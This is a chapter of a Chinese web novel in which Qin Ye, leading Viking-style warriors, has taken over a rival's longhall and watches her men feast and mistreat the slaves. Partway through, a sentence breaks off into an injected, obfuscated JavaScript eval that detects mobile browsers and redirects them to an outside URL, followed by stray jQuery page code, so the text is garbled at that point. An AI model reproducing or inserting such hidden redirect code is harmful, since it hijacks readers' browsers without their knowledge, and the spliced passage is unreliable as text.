秦冶坐下来后才发现这个座位的妙处——视线比站着的人矮不了多少,但比坐着的人高出整整一头。她不需要抬头看任何人,但任何人想和她说话都得仰着脖子。整个厅里的人都能一眼看到他,也很难忽视她。秦冶瞥了眼脚下的台基,它约莫一尺高,木板铺得很平整,边缘有道道摩擦的痕迹,那看起来像是被脚底板多次刮蹭留下的。
现在的秦冶能把大半个长厅尽收眼底,除了那些低眉顺眼靠边站着的奴隶,还有长桌她带来的战士,有些战士靠在柱子上,身影与阴影融为一体。有些瘫坐在长凳上,腿大大咧咧地伸到过道。有些则仍然警惕地站在门边或窗旁神情严肃。
没错,秦冶的手下此时此刻正在做什么她也能看得一清二楚。这跟老师站在讲台上俯视班级,以及坐在公交车最后一排看向前方的感觉有些相似,但又不全然相同。
维戈平日里就是这么坐在主座上,等着进入长厅的每个人向他行礼示好,除非对方是他兄长或是秦冶这样带人打上门来的。如果换成斯韦恩的话,也就只有战败之后才可能被迫在自己的长屋向对方低头,比如这次前来接亲的西格德一行。
除了那些特殊的时刻,长屋的主人就是有资格俯瞰屋里所有人,甚至对现在的秦冶来说也是如此。
“我们就在这儿干等吗?维戈早就搂着女人背着钱箱跑得没影了吧?”抱着胳膊坐在桌边的索尔芬不耐烦地问道。
“你这么急,就由你带人去搜寻维戈好了。”秦冶看着索尔芬脱口而出,“不要离开庄园,晚了你连好床都捞不着。”
索尔芬把脸一垮绷紧了嘴,但也只是阴沉着脸没有多话,站起身就招呼两个战士跟他离开。他刚走开还没十步,就有个普通战士迟疑着开口问:“那我们该干点啥?”
“干啥?坐!”秦冶说着又往后挪挪屁股靠的更舒服了些,扭头对身边拘谨站着的芙恩道,“这里你应该熟悉吧?去厨房给咱们弄点好酒好菜,挑最肥美最新鲜的食材下锅。”
芙恩咬了片刻嘴唇,还是用力点点头扭头跑开。
“行了,都放松些。”秦冶压了压手掌拖长语调说,“你们在紧张什么,从我进入大厅的这一刻这座长屋,这座庄园就已经属于我们,你们应该有点把这当家的松弛感懂吗?是信不过我们这几个狼卫吗?”
战士们你看看我我看看你,交换了几个眼神后都不约而同地笑了起来。于是之前赏玩金杯的坐下继续赏玩,看上好坐垫的赶忙把屁股坐实,研究木雕的凑得更近去品鉴,当然还有人舔着嘴唇眯着眼靠近墙根下站着的一排奴隶。这些奴隶里男女老少皆有,两个战士充满玩味的眼神在奴隶们当中扫来扫去,其中一个伸手就去摸一个身材丰腴的女奴的胸脯。秦冶余光瞥到了这一幕,张了张嘴但没出声。
她差点就要开口喝止那个战士了,如果是在真实世界里,她不这么做唯一的理由就是打不过男方,不想惹祸上身,但是现在她还有这个借口吗?
显然没有,她如果想要阻止那个男人猥亵女奴她肯定能做到。
于是秦冶随便想了个凑合借口,正要开口时却听到了女人“哦!”的惊叫声。
这声哦并不尖利也不惊慌,丰腴的女奴被黑鸦战士一把打横抱起,惊呼过后挑挑眉感慨:“诸神啊,你真强壮,能这么抱起我的男人可不多。”
“维戈也不行吗?”那战士哈哈笑着抱着女奴就往最近的房间门口走去,“我倒是觉得你的肉都长在该长的地方啊!”
女奴咯咯咯地笑起来:“你还是我见过嘴嘴甜的男人。”接着便把胳膊环在战士的脖颈上。
秦冶收回视线,还是把刚刚想出的那个约束手下行为的敷衍理由吞回肚子里。
这怎么说呢?她有些局促地抠了抠脸暗想,刚刚对她来说还是确凿无疑的事,现在变得不确定了。
“我没错过什么吧!”
一个男人的大嗓门又把秦冶从胡思乱想中拉出来,秦冶定睛一看原来是斯特兰把博格带回来了。
“维戈是不是带人跑路了?”斯特兰边走近边皱眉问。秦冶抱起胳膊故作深沉状点点头道:“看来是这样。”
“我就说咱们得抓紧时间追击吧!”博格吼起来唾沫星子乱溅,“把我叫回来干什么?我已经发现那老小子逃窜的踪迹了!这会儿怕是真要让他跑了!”
“发现踪迹?之前你可一个字没提过。”斯特兰扭头发问。
“我有必要向你汇报吗?”博格粗声粗气地说着,直接上手把艾沃尔附近座位上一个普通战士拎起来,自己坐了下去。那战士站稳后,脸庞变得青红交加,他看了看无动于衷秦冶,还是闭上嘴低着头走开。
“逃就逃吧,”秦冶保持抱着胳膊的姿势故作深沉道,“给斯韦恩个面子,毕竟我们又不是真来突袭的,”说到这儿秦冶平静地看向博格又问,“博格,你想挑起战端吗?”
博格立刻涨红了脖颈结巴起来:“我……我可没这么说!我只是觉得……维戈那小子到处乱窜,对你来说很危险!他针对你不是一次两次了吧?”
秦冶收回视线依旧气定神闲:“维戈和他的喽罗们根本不足为惧,不需要大费周章在他哥哥的领地上搜捕他,我们也能得到他的一切。当然,实在闲不住的可以加入索尔芬一起外出搜捕维戈,我确实没有理由阻拦。”
她话音刚落下脚步声和香味就一道从身后传来,最先闻到是烤肉的焦香,混着蜂蜜和黄油被加热后的甜腻。然后是炖菜的浓香,有肉汁、洋葱和某种她叫不出名字的草药的味道。最后是面包的麦香,温热、蓬松,像是刚出炉。秦冶回头一看,原来是芙恩带着几个奴隶端着喷香热乎的酒菜出现了。沉默的奴隶们动作麻利地端菜上桌,原本散落在长厅各处的战士们都被香味吸引聚拢过来。
芙恩把最丰盛的烤乳猪放到秦冶跟前,猪皮上的油珠在火把光下一闪一闪的,像嵌在琥珀里的气泡。此外还有一整罐热羊奶,然后有些刻意地拔高声调道:“这猪和样是秋天特意留着养在屋里的,本打算过完尤尔再杀,今天只好先拿来孝敬各位大人了,所以上菜慢了些,后边还有更多,牛肉有风干的有腌制的,当然如果需要现宰也可以,我就是特地来请您示下。”
秦冶花了点时间回忆“尤尔”差不多相当于农历冬至,然后摆摆手:“不用了,咱们就吃个夜宵,后边的菜抓紧上吧。”接着她端起装羊奶的陶罐,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528478|203625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚要往杯里倒身旁就有个女奴主动上前捧住陶罐,柔声微笑:“我来,我就是在这伺候您的。”
没成想之前向来温顺安静的芙恩突然拔高嗓门口气强硬道:“你去厨房帮忙,这里有我。”
另一个女奴一边慢条斯理给秦冶倒牛奶边说:“像大人这样的首领身边怎么能只有一个人伺候呢?从前维戈身边围着多少奴隶你不知道吗?”
芙恩正要开口争辩被秦冶打断,她扭头对那于她而言尚还陌生的女奴道:“你去厨房帮忙吧,菜难吃了上慢了后果可比我身边少个人伺候严重多了。”
陌生女奴闻言委屈地瞧了眼秦冶,然后才慢吞吞放下陶罐,又瞪了眼芙恩才快步离开。
秦冶还是头回体验那种被人争抢着服侍的待遇,心下不由得有些飘飘然。说到底她还不算正儿八经的领主,只是带着武装人员强占了本地一豪强的宅地而已。
很快秦冶又注意到,之前抱着女奴进房间的战士也被香味吸引来,忙不迭穿好裤子拉着女奴又来到桌边,被战友们打趣:“你怎么这么快啊?”也不恼,回怼也是笑着骂。被他拉着一起坐到桌边的女奴紧紧挨着那战士坐着,还扣着他的胳膊,脸上更是笑得像朵花。
至于其他奴隶,部分胆子太小的还缩在角落阴影里,胆大的已经主动来到长桌边服侍——是的,秦冶没看错的话,几乎所有长厅里的奴隶,但凡有动作都是靠近秦冶带来的这群“入侵者”,而不是走远些干活避开人群。只有角落里的一个老奴隶眼神浑浊,对一切麻木不仁,无动于衷。
比如一个十几岁的男奴蹲在一个正在啃猪骨的战士脚边,手里举着一个陶壶,等战士把杯子放下就立刻添满,动作熟练得像做了几百遍。还有个中年女奴站在烤全羊旁边,把最嫩的肉片削下来,整整齐齐码在木盘上,码完之后把木盘推到桌子的正中央,好让那些战士都能够到。除此之外,秦冶的目光还扫到某个战士偷偷将银勺塞进皮靴,两个战士为一块好肉互相推搡,甚至有个战士用力捏了把中年男奴隶的屁股。
有点意思,秦冶暗想着喝了口羊奶,发现这回羊奶中的膻味淡了许多,克服克服也能品出别样风味。
“这奶……应该没那么腥了吧?”芙恩凑近了些紧张问道,“维戈后厨里的羊奶有些是经过频繁过滤的,我知道就拿出来用了,我还加了些野莓汁去膻,当然您要是喜欢蜂蜜也可以加,您看……”
奇怪,芙恩是从哪里得知秦冶喝不下去这个时代的奶制品,难道说她从第一次有机会服侍她就在暗中观察了?
“不用了,现在这样就挺好的,别麻烦了。”秦冶冲芙恩笑了笑道,“你也走了老半天路,找个地方坐着吧。”
芙恩垂下眼睑连连摇头,又往秦冶的座位后退开站定,姿态竟有几分坚决。
于是秦冶移开视线不再勉强,现在她最大的希望就是这群战士能在这个厅堂中心满意足,否则后续他们再表达不快再横生枝节,秦冶可能就难以安抚镇压了。秦冶已经对应付自己这群手下感到些许倦怠和心累,她想这主要还是由于自己没有任何相关经验,且尚还无法完全适应角色的缘故,也许再假以时日那种消极感会自然消退的吧。